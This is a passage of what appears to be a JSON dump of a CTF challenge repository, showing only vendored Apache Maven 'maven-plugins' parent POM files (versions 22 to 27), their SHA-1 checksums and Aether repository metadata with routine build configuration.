Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-22</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-22</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-plugins-22</url>\n  </scm>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/hudson/job/maven-plugins/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/plugins/</url>\n    </site>\n  </distributionManagement>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.6</version>\n          <configuration>\n            <issueManagementSystems>\n              <issueManagementSystem>JIRA</issueManagementSystem>\n            </issueManagementSystems>\n            <maxEntries>1000</maxEntries>\n            <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n            <!-- Used by announcement-generate goal -->\n            <templateDirectory>org/apache/maven/plugins</templateDirectory>\n            <!-- Used by announcement-mail goal -->\n            <subject>[ANN] ${project.name} ${project.version} Released</subject>\n            <toAddresses>\n              <toAddress implementation=\"java.lang.String\">announce@maven.apache.org</toAddress>\n              <toAddress implementation=\"java.lang.String\">users@maven.apache.org</toAddress>\n            </toAddresses>\n            <ccAddresses>\n              <ccAddress implementation=\"java.lang.String\">dev@maven.apache.org</ccAddress>\n            </ccAddresses>\n            <!-- These values need to be specified as properties in the profile apache-release in your settings.xml -->\n            <fromDeveloperId>${apache.availid}</fromDeveloperId>\n            <smtpHost>${smtp.host}</smtpHost>\n          </configuration>\n          <dependencies>\n            <!-- Used by announcement-generate goal -->\n            <dependency>\n              <groupId>org.apache.maven.shared</groupId>\n              <artifactId>maven-shared-resources</artifactId>\n              <version>1</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/plugins/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/plugins/${project.artifactId}-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <id>ensure-no-container-api</id>\n            <configuration>\n              <rules>\n                <bannedDependencies>\n                  <excludes>\n                    <exclude>org.codehaus.plexus:plexus-component-api</exclude>\n                  </excludes>\n                  <message>The new containers are not supported. You probably added a dependency that is missing the exclusions.</message>\n                </bannedDependencies>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>generated-helpmojo</id>\n            <goals>\n              <goal>helpmojo</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <version>2.8</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-docck-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>docck-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <configuration>\n              <debug>true</debug>\n              <projectsDirectory>src/it</projectsDirectory>\n              <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n              <preBuildHookScript>setup</preBuildHookScript>\n              <postBuildHookScript>verify</postBuildHookScript>\n              <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n              <settingsFile>src/it/settings.xml</settingsFile>\n              <pomIncludes>\n                <pomInclude>*/pom.xml</pomInclude>\n              </pomIncludes>\n            </configuration>\n            <executions>\n              <execution>\n                <id>integration-test</id>\n                <goals>\n                  <goal>install</goal>\n                  <goal>integration-test</goal>\n                  <goal>verify</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <version>1.5</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <!-- if releasing current pom with Maven 3, site descriptor must be attached -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>        \n      </build>   \n    </profile> \t\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/22/maven-plugins-22.pom.sha1",
    "content": "beff44ae4eff1e5c79c01972083cd11fa6982462"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/23/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:28 CST 2018\nmaven-plugins-23.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/23/maven-plugins-23.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>22</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.plugins</groupId>\n  <artifactId>maven-plugins</artifactId>\n  <version>23</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Plugins</name>\n  <description>Maven Plugins</description>\n  <url>http://maven.apache.org/plugins/</url>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-23</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-23</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-plugins-23</url>\n  </scm>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/hudson/job/maven-plugins/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/plugins/</url>\n    </site>\n  </distributionManagement>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.7.1</version>\n          <configuration>\n            <issueManagementSystems>\n              <issueManagementSystem>JIRA</issueManagementSystem>\n            </issueManagementSystems>\n            <maxEntries>1000</maxEntries>\n            <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n            <!-- Used by announcement-generate goal -->\n            <templateDirectory>org/apache/maven/plugins</templateDirectory>\n            <!-- Used by announcement-mail goal -->\n            <subject>[ANN] ${project.name} ${project.version} Released</subject>\n            <toAddresses>\n              <toAddress implementation=\"java.lang.String\">announce@maven.apache.org</toAddress>\n              <toAddress implementation=\"java.lang.String\">users@maven.apache.org</toAddress>\n            </toAddresses>\n            <ccAddresses>\n              <ccAddress implementation=\"java.lang.String\">dev@maven.apache.org</ccAddress>\n            </ccAddresses>\n            <!-- These values need to be specified as properties in the profile apache-release in your settings.xml -->\n            <fromDeveloperId>${apache.availid}</fromDeveloperId>\n            <smtpHost>${smtp.host}</smtpHost>\n          </configuration>\n          <dependencies>\n            <!-- Used by announcement-generate goal -->\n            <dependency>\n              <groupId>org.apache.maven.shared</groupId>\n              <artifactId>maven-shared-resources</artifactId>\n              <version>1</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/plugins/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/plugins/${project.artifactId}-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <id>ensure-no-container-api</id>\n            <configuration>\n              <rules>\n                <bannedDependencies>\n                  <excludes>\n                    <exclude>org.codehaus.plexus:plexus-component-api</exclude>\n                  </excludes>\n                  <message>The new containers are not supported. You probably added a dependency that is missing the exclusions.</message>\n                </bannedDependencies>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>generated-helpmojo</id>\n            <goals>\n              <goal>helpmojo</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <version>3.1</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-docck-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>docck-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <configuration>\n              <debug>true</debug>\n              <projectsDirectory>src/it</projectsDirectory>\n              <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n              <preBuildHookScript>setup</preBuildHookScript>\n              <postBuildHookScript>verify</postBuildHookScript>\n              <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n              <settingsFile>src/it/settings.xml</settingsFile>\n              <pomIncludes>\n                <pomInclude>*/pom.xml</pomInclude>\n              </pomIncludes>\n            </configuration>\n            <executions>\n              <execution>\n                <id>integration-test</id>\n                <goals>\n                  <goal>install</goal>\n                  <goal>integration-test</goal>\n                  <goal>verify</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <version>1.6</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <!-- if releasing current pom with Maven 3, site descriptor must be attached -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>        \n      </build>   \n    </profile> \t\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/23/maven-plugins-23.pom.sha1",
    "content": "d40d68ba1f88d8e9b0040f175a6ff41928abd5e7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/24/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:52 CST 2018\nmaven-plugins-24.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/24/maven-plugins-24.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>23</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.plugins</groupId>\n  <artifactId>maven-plugins</artifactId>\n  <version>24</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Plugins</name>\n  <description>Maven Plugins</description>\n  <url>http://maven.apache.org/plugins/</url>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-24</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-24</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-plugins-24</url>\n  </scm>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/maven-plugins/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/plugins</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <maven.site.cache>${user.home}/maven-sites</maven.site.cache><!-- TODO remove when upgrading parent to 23 -->\n    <maven.site.path>plugins-archives/${project.artifactId}-${project.version}</maven.site.path>\n  </properties>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.7.1</version>\n          <configuration>\n            <issueManagementSystems>\n              <issueManagementSystem>JIRA</issueManagementSystem>\n            </issueManagementSystems>\n            <maxEntries>1000</maxEntries>\n            <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n            <!-- Used by announcement-generate goal -->\n            <templateDirectory>org/apache/maven/plugins</templateDirectory>\n            <announcementFile>annoucement.txt</announcementFile>\n            <!-- Used by announcement-mail goal -->\n            <subject>[ANN] ${project.name} ${project.version} Released</subject>\n            <toAddresses>\n              <toAddress implementation=\"java.lang.String\">announce@maven.apache.org</toAddress>\n              <toAddress implementation=\"java.lang.String\">users@maven.apache.org</toAddress>\n            </toAddresses>\n            <ccAddresses>\n              <ccAddress implementation=\"java.lang.String\">dev@maven.apache.org</ccAddress>\n            </ccAddresses>\n            <!-- These values need to be specified as properties in the profile apache-release in your settings.xml -->\n            <fromDeveloperId>${apache.availid}</fromDeveloperId>\n            <smtpHost>${smtp.host}</smtpHost>\n          </configuration>\n          <dependencies>\n            <!-- Used by announcement-generate goal -->\n            <dependency>\n              <groupId>org.apache.maven.shared</groupId>\n              <artifactId>maven-shared-resources</artifactId>\n              <version>1</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/plugins/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.2</version><!-- TODO remove when upgrading parent to 23 -->\n          <configuration>\n            <skipDeploy>true</skipDeploy><!-- don't deploy site with maven-site-plugin -->\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <version>1.0-beta-2</version>\n        <configuration>\n          <content>${project.reporting.outputDirectory}</content>\n          <pubScmUrl>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</pubScmUrl>\n          <checkoutDirectory>${maven.site.cache}/${maven.site.path}</checkoutDirectory>\n          <tryUpdate>true</tryUpdate>\n        </configuration>\n        <executions>\n          <execution>\n            <id>scm-publish</id>\n            <phase>site-deploy</phase><!-- deploy site with maven-scm-publish-plugin -->\n            <goals>\n              <goal>publish-scm</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <id>ensure-no-container-api</id>\n            <configuration>\n              <rules>\n                <bannedDependencies>\n                  <excludes>\n                    <exclude>org.codehaus.plexus:plexus-component-api</exclude>\n                  </excludes>\n                  <message>The new containers are not supported. You probably added a dependency that is missing the exclusions.</message>\n                </bannedDependencies>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>generated-helpmojo</id>\n            <goals>\n              <goal>helpmojo</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <version>3.2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.6</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-docck-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>docck-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <configuration>\n              <debug>true</debug>\n              <projectsDirectory>src/it</projectsDirectory>\n              <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n              <preBuildHookScript>setup</preBuildHookScript>\n              <postBuildHookScript>verify</postBuildHookScript>\n              <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n              <settingsFile>src/it/settings.xml</settingsFile>\n              <pomIncludes>\n                <pomInclude>*/pom.xml</pomInclude>\n              </pomIncludes>\n            </configuration>\n            <executions>\n              <execution>\n                <id>integration-test</id>\n                <goals>\n                  <goal>install</goal>\n                  <goal>integration-test</goal>\n                  <goal>verify</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>site-release</id>\n      <properties>\n        <maven.site.path>plugins/${project.artifactId}</maven.site.path>\n      </properties>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <version>1.7</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <!-- if releasing current pom with Maven 3, site descriptor must be attached -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>        \n      </build>   \n    </profile> \t\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/24/maven-plugins-24.pom.sha1",
    "content": "91e68408f2d1774c5f39c0c4cd56a8b83e47c67f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/27/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:33 CST 2018\nmaven-plugins-27.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/27/maven-plugins-27.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>26</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.plugins</groupId>\n  <artifactId>maven-plugins</artifactId>\n  <version>27</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven Plugins</name>\n  <description>Maven Plugins</description>\n  <url>http://maven.apache.org/plugins/</url>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-27</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-plugins-27</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-plugins-27</url>\n  </scm>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/maven-plugins/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <site><!-- to be copied in every plugin pom, since inheritance adds unwanted artifactId -->\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <maven.site.path>plugins-archives/${project.artifactId}-LATEST</maven.site.path>\n  </properties>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <dependencies>\n    <!-- dependencies to annotations -->\n    <dependency>\n      <groupId>org.apache.maven.plugin-tools</groupId>\n      <artifactId>maven-plugin-annotations</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.11</version>\n          <configuration>\n            <issueManagementSystems>\n              <issueManagementSystem>JIRA</issueManagementSystem>\n            </issueManagementSystems>\n            <maxEntries>1000</maxEntries>\n            <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n            <!-- Used by announcement-generate goal -->\n            <templateDirectory>org/apache/maven/plugins</templateDirectory>\n            <!-- Used by announcement-mail goal -->\n            <subject>[ANN] ${project.name} ${project.version} Released</subject>\n            <toAddresses>\n              <toAddress implementation=\"java.lang.String\">announce@maven.apache.org</toAddress>\n              <toAddress implementation=\"java.lang.String\">users@maven.apache.org</toAddress>\n            </toAddresses>\n            <ccAddresses>\n              <ccAddress implementation=\"java.lang.String\">dev@maven.apache.org</ccAddress>\n            </ccAddresses>\n            <!-- These values need to be specified as properties in the profile apache-release in your settings.xml -->\n            <fromDeveloperId>${apache.availid}</fromDeveloperId>\n            <smtpHost>${smtp.host}</smtpHost>\n          </configuration>\n          <dependencies>\n            <!-- Used by announcement-generate goal -->\n            <dependency>\n              <groupId>org.apache.maven.shared</groupId>\n              <artifactId>maven-shared-resources</artifactId>\n              <version>1</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/plugins/tags</tagBase>\n            <releaseProfiles>apache-release,run-its</releaseProfiles>\n          </configuration>\n        